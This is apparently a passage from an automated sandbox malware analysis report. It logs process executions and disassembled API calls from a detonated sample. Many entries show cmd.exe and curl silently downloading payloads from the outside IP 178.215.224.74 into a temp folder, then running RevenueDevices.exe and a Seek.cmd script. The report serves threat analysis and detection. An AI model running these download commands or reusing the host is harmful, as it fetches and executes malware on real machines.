Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0xda0000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	14:00:31
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	14:00:31
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	14:00:31
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	14:00:34
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	14:00:34
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	14:00:34
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	14:00:36
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	14:00:36
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	14:00:36
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	14:00:37
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	14:00:38
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	14:00:38
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	14:00:39
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	14:00:39
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	14:00:39
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	14:00:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	14:00:41
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	14:00:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	14:00:43
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	14:00:43
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	14:00:43
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	14:00:45
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	14:00:45
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	14:00:45
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	14:00:51
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\temp\RevenueDevices.exe"
Imagebase:	0x400000
File size:	1'151'988 bytes
MD5 hash:	B487B5B51436B42576D60A1FE58F8399
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	14:00:51
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	14:00:51
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6eef20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	14:00:53
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	14:00:53
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	14:00:54
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	14:00:55
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	14:00:55
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	14:00:55
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	14:00:57
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	14:00:57
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	14:00:57
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0xee0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	14:00:57
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	14:01:10
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	141
Start time:	14:01:18
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	153
Start time:	14:01:21
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	195
Start time:	14:01:36
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	219
Start time:	14:01:44
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	222
Start time:	14:01:44
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	240
Start time:	14:01:47
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	243
Start time:	14:01:49
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	330
Start time:	14:02:09
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	342
Start time:	14:02:12
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	348
Start time:	14:02:14
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	390
Start time:	14:02:22
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	414
Start time:	14:02:26
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	429
Start time:	14:02:30
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	456
Start time:	14:02:34
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	489
Start time:	14:02:40
Start date:	21/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1526
Total number of Limit Nodes:	32

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

